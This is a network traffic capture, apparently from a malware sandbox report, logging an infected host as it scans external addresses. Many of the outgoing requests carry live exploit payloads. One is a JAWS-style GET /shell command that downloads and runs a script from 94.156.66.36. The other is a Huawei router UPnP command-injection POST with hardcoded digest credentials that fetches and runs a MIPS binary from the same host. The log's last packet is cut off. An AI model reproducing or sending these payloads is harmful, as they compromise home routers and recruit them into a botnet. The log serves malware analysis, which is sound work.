Mar 13, 2024 09:35:41.965854883 CET	1286	IN	HTTP/1.1 404 Not Found Server: CloudWAF Date: Wed, 13 Mar 2024 08:35:41 GMT Content-Type: text/html Content-Length: 2178 Connection: keep-alive ETag: "65bfcd44-882" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 53 65 72 76 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6c 6f 75 64 57 41 46 22 20 2f 3e 3c 74 69 74 6c 65 20 69 64 3d 22 74 69 74 6c 65 22 3e e6 9c aa e6 89 be e5 88 b0 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 69 63 72 6f 73 6f 66 74 20 79 61 68 65 69 22 3e 3c 64 69 76 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 09 2e 62 75 74 74 6f 6e 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 72 65 6d 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 23 65 39 34 64 34 63 3b 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 35 70 78 20 35 70 78 20 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 e5 be ae e8 bd af e9 9b 85 e9 bb 91 2c e5 ae 8b e4 bd 93 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 72 65 6d 3b 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 6c 69 6e 65 61 72 20 30 2e 33 30 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 6c 69 6e 65 61 72 20 30 2e 33 30 73 3b 7d 2e 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 39 34 64 34 63 3b 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 63 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 5a 68 28 29 22 20 76 61 6c 75 65 3d 22 e4 b8 ad e6 96 87 22 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 22 20 20 6f 6e 63 6c 69 63 6b 3d 22 63 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 45 6e 28 29 22 20 76 61 6c 75 65 3d 22 45 6e 67 6c 69 73 68 22 2f 3e 09 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 68 65 69 67 68 74 3a 31 33 2e 31 32 35 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 36 25 3b 68 65 69 67 68 74 3a 35 32 2e 33 38 3b 77 69 64 74 68 3a 38 33 2e 30 34 25 3b 22 3e 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 2e 31 32 35 72 65 6d 3b 68 65 69 67 68 74 3a 33 2e 31 32 35 72 65 6d 22 20 76 69 65 77 42 6f 78 3d 22 30 Data Ascii: <!DOCTYPE html><html style="height:100%;width:100%"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Server" content="CloudWAF" /><title id="title"></title></head><body style="height:100%;width:100%;margin:0px;font-family:Microsoft yahei"><div><style type="text/css">.button{float:right;margin-right:2rem;text-decoration:none;background:white;color:#e94d4c;padding: 5px 15px 5px 15px;font-size:1rem;font-family: ,,Arial,Helvetica,Verdana,sans-serif;font-weight:bold;border-radius:0rem;border: none;-webkit-transition:all linear 0.30s;-moz-transition:all linear 0.30s;}.button:hover{text-decoration:none;background:#e94d4c;color:#f2f2f2;}</style><input type="button" class="button" onclick="changeLanguageZh()" value=""/><input type="button" class="button" onclick="changeLanguageEn()" value="English"/></div><div style="min-height:13.125rem;width:100%"><div style="margin-top:3.75rem;margin-left:16.96%;height:52.38;width:83.04%;"><svg xmlns="http://www.w3.org/2000/svg" style="width:3.125rem;height:3.125rem" viewBox="0
Mar 13, 2024 09:35:41.965910912 CET	1090	IN	Data Raw: 20 30 20 35 30 20 35 30 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 65 38 34 65 34 63 22 20 20 64 3d 22 4d 32 35 2c 30 41 32 35 2c 32 35 2c 30 2c 31 2c 30 2c 35 30 2c 32 35 2c 32 35 2c 32 35 2c 30 2c 30 2c 30 2c 32 35 2c 30 5a 6d 31 2e 36 2c 33 Data Ascii: 0 50 50"><path fill="#e84e4c" d="M25,0A25,25,0,1,0,50,25,25,25,0,0,0,25,0Zm1.6,37.16H22.85V33.41H26.6Zm0-6.63H22.85L22.35,13H27.1Z"/></svg><font style="font-family:MicrosoftYaHei;font-size:4.375rem;color:#e94d4c;margin-left: 0.75rem;font-wei

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.15	56028	18.229.108.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:41.314482927 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:41.513050079 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:38 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.15	43992	69.192.211.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:42.017124891 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:42.126533031 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:35:42 GMT Date: Wed, 13 Mar 2024 08:35:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 32 39 31 65 62 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 34 32 26 23 34 36 3b 32 62 38 61 39 32 34 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.7291eb8.1710318942.2b8a924e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.15	59396	23.54.107.148	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:42.083363056 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:42.255831003 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:35:42 GMT Date: Wed, 13 Mar 2024 08:35:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 64 35 61 31 36 30 32 26 23 34 36 3b 31 37 31 30 33 31 38 39 34 32 26 23 34 36 3b 31 30 36 31 64 33 63 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3d5a1602.1710318942.1061d3ce</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.15	51034	34.212.43.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:42.086627960 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:42.262403011 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.15	40526	156.241.10.222	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:43.019587040 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:47.094785929 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:53.238701105 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:05.270219088 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:30.101969004 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 